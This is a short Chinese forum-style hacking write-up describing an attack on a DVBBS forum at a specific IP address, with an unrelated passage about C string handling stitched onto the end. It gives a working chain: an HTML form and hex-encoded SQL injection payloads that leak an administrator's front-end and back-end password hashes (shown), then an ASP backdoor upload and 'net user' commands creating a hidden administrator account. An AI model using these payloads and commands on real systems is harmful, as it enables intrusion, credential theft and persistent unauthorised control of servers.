动网论坛漏洞随想

第一步:用注册好的用户名登陆,登陆时选择保存cookie,撰写短消息,保存
第二步:利用下边网页提交信息
<form action=http://61.156.35.167/bbs/messanger.asp?action=删除草稿 method=post>
<input type=text name=id width=32>
<input type=submit>
</form>
username使用SQL Encoder编码,这里我们用一个管理员的名字radiofly
提交
select userpassword from [user] where username=0x72006100640069006f0066006c007900 and userpassword>7
得到
Microsoft VBScript 编译器错误 错误 '800a03f6'

缺少 'End'

/iisHelp/common/500-100.asp，行242

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 nvarchar 值 '78e4ea2181b00d21' 转换为数据类型为 int 的列时发生语法错误。

/bbs/messanger.asp，行619

78e4ea2181b00d21就是radiofly的前台密码

提交
select password from admin where username=0x72006100640069006f0066006c007900 and password>7
得到后台密码 acaa91f51ed197c7

用dvbbs密码猜解工具猜解密码 等待 等待 再等待。。。。。。ok
得到密码后登陆进入后台,修改文件上传类型,添加asp类型,上传asp后门
得到sql数据库的sa密码,使用sqlexec连接
net user admin$ xiaoxue /add
net localgroup administrators admin$ /add

到此 over :)
by 小路

　　代码看上去简单直观，但是外表具有欺骗性：这个例子忽略了一个重要的细节。想知道吗？那就想想getfield的返回类型是什么。由于getfield的值表示的是输入行的一部分，所以显然应该返回一个字符串。但是C没有字符串；最接近的做法是使用字符指针。指针必须指到某个地方；应该什么时候用什么方法回收内存？
　　C里有一些解决这类问题的方法，但是都比较困难。一种办法就是让getfield每次都返回一个指针，这个指针指向调用它的新分配的内存，调用者负责释放内存。由于我们的程序先后4次调用了getfield，所以也需要先后4次在适当场合调用free。我可不愿意使用这种解决方法，写这么多的调用真是很讨厌，我肯定会漏掉一两个。